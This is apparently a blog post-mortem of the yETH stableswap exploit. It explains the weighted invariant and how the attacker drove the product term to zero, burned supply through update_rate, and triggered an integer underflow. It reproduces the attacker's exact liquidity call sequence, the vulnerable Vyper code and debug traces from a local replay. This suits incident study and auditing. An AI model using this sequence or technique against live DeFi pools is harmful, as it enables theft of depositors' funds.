Introduction
You might have heard about the yETH exploit. Many people say this attack was sophisticated because you need a deep understanding of the invariant behind weighted stableswap pools to truly understand what happened in the single transaction that caused a multi-million-dollar loss.
In this post, I want to explain step by step how the attacker logically broke the invariant. The goal is to make it understandable without being overwhelming, and to clearly show what the attacker wanted to achieve and how they managed to do it.
Important References:
Brief overview of yETH
On Ethereum, users can stake ETH to earn yield. However, the required stake is relatively large, so protocols like Lido emerged to solve this problem by pooling ETH from many users. In return, users receive liquid staking tokens (LSTs) that represent their staked ETH.
Today, there are many LST providers, not just Lido. yETH saw this as an opportunity to create a token that represents a basket of multiple LSTs, allowing users to diversify their staking risk. Users can provide liquidity to the yETH pool and receive yETH in return.
In addition, yETH offers:
- st-yETH, a staking version of yETH
- A stableswap-style AMM for swapping between different LSTs
To calculate how much yETH a user receives when adding liquidity or how much output they receive when swapping, yETH relies on a custom invariant.
Math behind yETH
Constant product
If you’re familiar with AMMs like Uniswap v2, you probably know the constant-product invariant:
This mechanism ensures that a pool containing two tokens never fully empties. When one token becomes scarce, the price to acquire it increases rapidly. Whatever happens, must satisfy , so that’s why you need more if you make smaller.
However, yETH uses a weighted pool, so this simple formula does not apply directly. Still, it’s useful to understand the intuition behind constant-product AMMs.
Weighted swap pool
For weighting, yETH adopts a formula similar to Balancer’s weighted constant product:
Each asset has a weight , allowing the pool to favor certain assets over others.
The problem is that this alone is not sufficient for a stableswap. In a stable environment, assets are expected to trade close to 1:1. With a pure constant-product formula, prices diverge too aggressively as balances change.
The hybrid method
Michael Egorov proposed a clever solution that combines constant product with constant sum. This hybrid approach preserves tight pricing near equilibrium while retaining safety far from it.
yETH derives its invariant from this idea and adapts it to the weighted setting described in the yETH whitepaper. The resulting equation is:
Where:
- : The invariant (representing the total supply of LP tokens).
- : The amplification coefficient (determines how flat the curve is).
- : The number of tokens in the pool.
- : A variable representing the sum of balances.
The most important variable here is because this is what the attacker ultimately manipulated.
There is one more formula involved, but it’s easier to explain once we dive into the protocol logic.
Core protocol functionality
To understand the exploit, we need to look at the state-changing functions used by the attacker:
add_liquidity
Adding liquidity updates the virtual balance of the deposited asset along with the constant-sum and constant-product terms. To determine the new LP token supply, the protocol treats the post-deposit supply as an unknown and solves for it using a Newton iteration. The process starts from the previous total supply and iterates until the invariant holds within a fixed precision.
For each guessed supply , the value of changes. Computing from scratch is expensive, so the protocol optimizes this by using a ratio-based update:
This works because only changes between iterations, keeping the computation simple and gas-efficient.
remove_liquidity
Removing liquidity adjusts the virtual balances of all assets as well as the constant-sum and constant-product variables.
update_rate
Calling update_rate refreshes asset rates using oracle data. If a mismatch appears between the calculated supply and the actual staking supply, the protocol resolves it by burning a portion of liquidity.
The general idea of the attack
Before we deep dive regarding the intention behind the particular function calls by the attacker, we must know the general idea first:
- The attacker calls a sequence of add liquidity and remove liquidity before making the become 0.
- Because becomes 0, the attacker gets more yETH than they should when adding liquidity (remember that in the math section, if or the constant product becomes 0, the numerator calculation is just the constant sum only).
- After that, the attacker calls remove liquidity using 0 amount to make the pool recalculate the correct .
- To drain the amount of total supply, the attacker calls the update_rate function to burn the supply in the staking contract.
- Now the attacker calls remove liquidity for the correct amount to drain the LST assets in the pool.
- The attacker repeats this sequence of calls until it fully drains the pool.
- When the pool is empty, the attacker calls add liquidity and triggers an integer underflow to mint .
Deep dive to the exploit
How does $\ \pi \ $ become zero?
The update rules are:
If then is multiplied by a value smaller than 1. Repeating this process causes to monotonically decrease and eventually truncate to zero due to integer arithmetic.
Why can $\ D_{m+1} < D_{m} \ $?
The key idea is that the attacker needs to create a situation where the ratio between and behaves badly. More specifically, they want the value of computed at step to become large enough that the next Newton step produces . To make that happen, both and need to be pushed low enough so that the ratio term amplifies the effect in the following iteration.
At first glance, it seems like reducing while keeping the invariant valid would require shrinking the constant-sum term. But that isn’t what the attacker targets directly. Instead, they exploit imbalance. By flooding the pool with high-weight assets and draining low-weight ones, the product term collapses even though the invariant still appears to hold.
This works because balances are raised to the power of their weights. Overfilling high-weight assets suppresses much faster than draining low-weight assets can restore it, allowing the solver to converge to a smaller supply without violating the invariant.
In yETH, each asset has an associated weight:
Assets 6 and 7 have significantly lower weights compared to the others. This difference drives the attacker’s liquidity strategy. Over multiple rounds, liquidity is repeatedly added to assets 0, 1, 2, 4, and 5, while deposits into assets 3, 6, and 7 are intentionally avoided:
POOL.add_liquidity([610669608721347951666, 777507145787198969404, 563973440562370010057, 0, 476460390272167461711, 0, 0, 0], 0, attacker);
POOL.remove_liquidity(2789348310901989968648, new uint256, attacker);
POOL.add_liquidity([1636245238220874001286, 1531136279659070868194, 1041815511903532551187, 0, 991050908418104947336, 1346008005663580090716, 0, 0], 0, attacker);
POOL.remove_liquidity(7379203011929903830039, new uint256, attacker);
POOL.add_liquidity([1630811661792970363090, 1526051744772289698092, 1038108768586660585581, 0, 969651157511131341121, 1363135138655820584263, 0, 0], 0, attacker);
POOL.remove_liquidity(7066638371690257003757, new uint256, attacker);
POOL.add_liquidity([859805263416698094503, 804573178584505833740, 546933182262586953508, 0, 510865922059584325991, 723182384178548055243, 0, 0], 0, attacker);
POOL.remove_liquidity(3496158478994807127953, new uint256, attacker);
POOL.add_liquidity([1784169320136805803209, 1669558029141448703194, 1135991585797559066395, 0, 1061079136814511050837, 1488254960317842892500, 0, 0], 0, attacker);
The attacker repeatedly adds liquidity to assets 0, 1, 2, 4, and 5, inflating the balances of the higher-weight assets and shrinking their contribution to the product term . At the same time, assets 3, 6, and 7 are left unreplenished, allowing them to be gradually drained from the pool and pushing closer to zero.
After reaches zero, the attacker starts adding liquidity back to asset 3. This is necessary because asset 3 has a weight similar to assets 2 and 4, and keeping it drained would otherwise cause to move upward when the solver recalculates. Assets 6 and 7 remain ignored, since their much lower weights mean their balances have little influence on .
Driving total supply toward zero
Calling remove_liquidity(0) forces the pool to recompute and store the correct .
# Pool.vy: remove_liquidity
# ...
# Recompute pi (vb_prod) based on current balances
vb_prod = unsafe_div(unsafe_mul(vb_prod, self._pow_down(unsafe_div(unsafe_mul(supply, weight), vb), unsafe_mul(weight, num_assets))), PRECISION)
# ...
# Store the corrected pi (vb_prod) and sum (vb_sum)
self.packed_pool_vb = self._pack_pool_vb(vb_prod, vb_sum)
Immediately after, update_rate is called, which subtracts the inflated supply from the staking contract and burns it.
# Pool.vy: _update_supply (called via update_rates)
# Calculate what the supply SHOULD be (supply) vs what is stored (_supply)
supply, vb_prod = self._calc_supply(self.num_assets, _supply, self.amplification, _vb_prod, _vb_sum, True)
if supply > _supply:
PoolToken(token).mint(self.staking, supply - _supply)
elif supply < _supply:
# The stored supply is inflated, so we burn the difference from Staking
PoolToken(token).burn(self.staking, _supply - supply)
self.supply = supply
By repeating this process, the attacker drains the effective yETH supply to zero.
Underflow yETH mint
After repeating this sequence, the attacker fully drains the pool and sets up the final step of the exploit. At this point, both the total supply and the constant-sum term inside the pool have effectively reached zero.
The attacker then makes a final add_liquidity call, adding minimal amounts across the pool but intentionally adding 9 units to asset index 7. This is done to push the invariant into a state where , which triggers an integer underflow in the solver.
# Pool.vy: _calc_supply
# l represents (A * sigma)
l: uint256 = _amplification
d: uint256 = l - PRECISION
l = l * _vb_sum
# s represents Supply (D), r represents Product (pi)
s: uint256 = _supply
r: uint256 = _vb_prod
for _ in range(255):
assert s > 0
# --------
# unsafe_sub allows underflow if (s * r) > l
# This occurs when D * pi > A * sigma
sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d)
# --------
Asset 7 is chosen because it has the lowest weight, allowing the attacker to adjust the value of with finer precision while barely affecting it overall.
Under the Hood
It is one thing to understand the math, but seeing the internal state collapse in real-time tells the full story. I instrumented the contract with debug logs and ran the exploit locally to capture exactly what happens inside the solver. The output below confirms the moments where the convergence fails and the invariant breaks.
1. Convergence Instability ($D_{m+1} < D_m$) & Product Term Collapse ($\pi \rightarrow 0$)
Here, we can see the Newton-Raphson solver struggling as the product term is manipulated down to zero.
│ ├─ emit DebugVal(tag: "remove liquidity :", val: 5)
│ ├─ emit DebugVal(tag: "add liquidity :", val: 5)
│ ├─ emit DebugVal(tag: "Asset Index", val: 0)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 684908434204245837382 [6.849e20])
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206133453000000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 2722795789717095953933 [2.722e21])
│ ├─ emit DebugVal(tag: "Asset Index", val: 1)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 684906035678011109882 [6.849e20])
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206133453000000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 2722786259230849981416 [2.722e21])
│ ├─ emit DebugVal(tag: "Asset Index", val: 2)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 410441629717699458558 [4.104e20])
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206028595300000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1632471746540461454317 [1.632e21])
│ ├─ emit DebugVal(tag: "Asset Index", val: 3)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 3532430177171936798 [3.532e18])
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206028595300000 [5.764e22])
│ ├─ emit DebugVal(tag: "Asset Index", val: 4)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 410441628495198523353 [4.104e20])
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206028595300000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1632471745317960519112 [1.632e21])
│ ├─ emit DebugVal(tag: "Asset Index", val: 5)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 549134391241242137316 [5.491e20])
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206185881850000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 2187825559835234235400 [2.187e21])
│ ├─ emit DebugVal(tag: "Asset Index", val: 6)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 655788662506859028 [6.557e17])
│ ├─ emit DebugVal(tag: "asset weight", val: 11529226041210961945000 [1.152e22])
│ ├─ emit DebugVal(tag: "Asset Index", val: 7)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 629735375533480721 [6.297e17])
│ ├─ emit DebugVal(tag: "asset weight", val: 11529226041210961945000 [1.152e22])
│ ├─ emit DebugVal(tag: "l-s*r", val: 4905866498423088505346910921942316732319016 [4.905e42])
│ ├─ emit DebugVal(tag: "s value:", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "r value:", val: 3530246247551768 [3.53e15])
│ ├─ emit DebugVal(tag: "l value:", val: 4905875374654328387984700000000000000000000 [4.905e42])
│ ├─ emit DebugVal(tag: "d value:", val: 449000000000000000000 [4.49e20])
│ ├─ emit DebugVal(tag: "A value:", val: 450000000000000000000 [4.5e20])
│ ├─ emit DebugVal(tag: "Result of numerator:", val: 4905866498423088505346910921942316732319016 [4.905e42])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 38572197766253986103007535765238691176 [3.857e37])
│ ├─ emit DebugVal(tag: "phi previous", val: 3530246247551768 [3.53e15])
│ ├─ emit DebugVal(tag: "phi after", val: 15340897813962681 [1.534e16])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 167617809891428754714798791940369653367 [1.676e38])
│ ├─ emit DebugVal(tag: "phi previous", val: 15340897813962681 [1.534e16])
│ ├─ emit DebugVal(tag: "phi after", val: 66664795947777258 [6.666e16])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 728393294130092909722226816352672303606 [7.283e38])
│ ├─ emit DebugVal(tag: "phi previous", val: 66664795947777258 [6.666e16])
│ ├─ emit DebugVal(tag: "phi after", val: 289695888249372724 [2.896e17])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 3165276955219413177173868167453318467468 [3.165e39])
│ ├─ emit DebugVal(tag: "phi previous", val: 289695888249372724 [2.896e17])
│ ├─ emit DebugVal(tag: "phi after", val: 1258890940494827080 [1.258e18])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 13754901759781527840720325239872192117560 [1.375e40])
│ ├─ emit DebugVal(tag: "phi previous", val: 1258890940494827080 [1.258e18])
│ ├─ emit DebugVal(tag: "phi after", val: 5470586447177100464 [5.47e18])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 59772754516555737377334230326754254445648 [5.977e40])
│ ├─ emit DebugVal(tag: "phi previous", val: 5470586447177100464 [5.47e18])
│ ├─ emit DebugVal(tag: "phi after", val: 23772763083253553057 [2.377e19])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 259746106871008404415708252387492752387599 [2.597e41])
│ ├─ emit DebugVal(tag: "phi previous", val: 23772763083253553057 [2.377e19])
│ ├─ emit DebugVal(tag: "phi after", val: 103305974609746888508 [1.033e20])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 2514337702656951993513 [2.514e21])
│ ├─ emit DebugVal(tag: "Numerator", val: 1128742360634528852966913445056652375332356 [1.128e42])
│ ├─ emit DebugVal(tag: "phi previous", val: 103305974609746888508 [1.033e20])
│ ├─ emit DebugVal(tag: "phi after", val: 448922338253037271569 [4.489e20])
│ ├─ emit DebugVal(tag: "l-s*r", val: 857424477639571851431090947373029963617 [8.574e38])
│ ├─ emit DebugVal(tag: "s value:", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "r value:", val: 448922338253037271569 [4.489e20])
│ ├─ emit DebugVal(tag: "l value:", val: 4905875374654328387984700000000000000000000 [4.905e42])
│ ├─ emit DebugVal(tag: "d value:", val: 449000000000000000000 [4.49e20])
│ ├─ emit DebugVal(tag: "A value:", val: 450000000000000000000 [4.5e20])
│ ├─ emit DebugVal(tag: "Result of numerator:", val: 857424477639571851431090947373029963617 [8.574e38])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "Numerator", val: 857276172332618412565774818410468659947 [8.572e38])
│ ├─ emit DebugVal(tag: "phi previous", val: 448922338253037271569 [4.489e20])
│ ├─ emit DebugVal(tag: "phi after", val: 78460553604765033 [7.846e16])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "Numerator", val: 149830733162310210819067416082249779 [1.498e35])
│ ├─ emit DebugVal(tag: "phi previous", val: 78460553604765033 [7.846e16])
│ ├─ emit DebugVal(tag: "phi after", val: 13712969811041 [1.371e13])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "Numerator", val: 26186717098260685391132587803483 [2.618e31])
│ ├─ emit DebugVal(tag: "phi previous", val: 13712969811041 [1.371e13])
│ ├─ emit DebugVal(tag: "phi after", val: 2396688939 [2.396e9])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "Numerator", val: 4576792342063729810501057257 [4.576e27])
│ ├─ emit DebugVal(tag: "phi previous", val: 2396688939 [2.396e9])
│ ├─ emit DebugVal(tag: "phi after", val: 418882 [4.188e5])
│ ├─ emit DebugVal(tag: "Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "Numerator", val: 799910200540354423725366 [7.999e23])
│ ├─ emit DebugVal(tag: "phi previous", val: 418882 [4.188e5])
│ ├─ emit DebugVal(tag: "phi after", val: 73)
│ ├─ emit DebugVal(tag: "guess < previous!", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: Numerator", val: 139403088792179833299 [1.394e20])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: phi previous", val: 73)
│ ├─ emit DebugVal(tag: "phi after", val: 0)
│ ├─ emit DebugVal(tag: "guess < previous!", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: Guess total supply", val: 1909631353317531963 [1.909e18])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: prev total supply (s)", val: 10926206009850976626607 [1.092e22])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: Numerator", val: 0)
│ ├─ emit DebugVal(tag: "BUG CAUGHT: phi previous", val: 0)
│ ├─ emit DebugVal(tag: "phi after", val: 0)
2. The Underflow Condition ($s \cdot r > l$)
In the final step, the tiny addition to Asset 7 pushes the state such that exceeds , triggering the massive underflow.
│ ├─ emit DebugVal(tag: "add liquidity :", val: 13)
│ ├─ emit DebugVal(tag: "Asset Index", val: 0)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206133453000000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 1)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206133453000000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 2)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206028595300000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 3)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206028595300000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 4)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206028595300000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 5)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 57646130206185881850000 [5.764e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 6)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 11529226041210961945000 [1.152e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 1)
│ ├─ emit DebugVal(tag: "Asset Index", val: 7)
│ ├─ emit DebugVal(tag: "Virtual Balance previous", val: 0)
│ ├─ emit DebugVal(tag: "asset weight", val: 11529226041210961945000 [1.152e22])
│ ├─ emit DebugVal(tag: "Virtual Balance After", val: 9)
│ ├─ emit DebugVal(tag: "constant sum or s value:", val: 16)
│ ├─ emit DebugVal(tag: "constant product or p value:", val: 912984419784149786092 [9.129e20])
│ ├─ emit DebugVal(tag: "l-s*r", val: 115792089237316195423570985008687907853269984665640564032049833291366733062464 [1.157e77])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: s value:", val: 16)
│ ├─ emit DebugVal(tag: "BUG CAUGHT: r value:", val: 912984419784149786092 [9.129e20])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: l value:", val: 7200000000000000000000 [7.2e21])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: d value:", val: 449000000000000000000 [4.49e20])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: A value:", val: 450000000000000000000 [4.5e20])
│ ├─ emit DebugVal(tag: "BUG CAUGHT: Result of underflow:", val: 115792089237316195423570985008687907853269984665640564032049833291366733062464 [1.157e77])
Conclusion
This exploit demonstrates how unsafe gas optimizations, especially those involving arithmetic assumptions, can have catastrophic consequences. Even when the math is theoretically sound, implementation shortcuts can invalidate critical guarantees.
If there is one takeaway from this incident, it is that invariants are only as strong as their weakest optimization.
Thanks for reading, and I hope you learned something new.
Breaking the yETH Invariant
https://github.com/0xvrka/0xVrka
01 - 04 - 2026
Unlicensed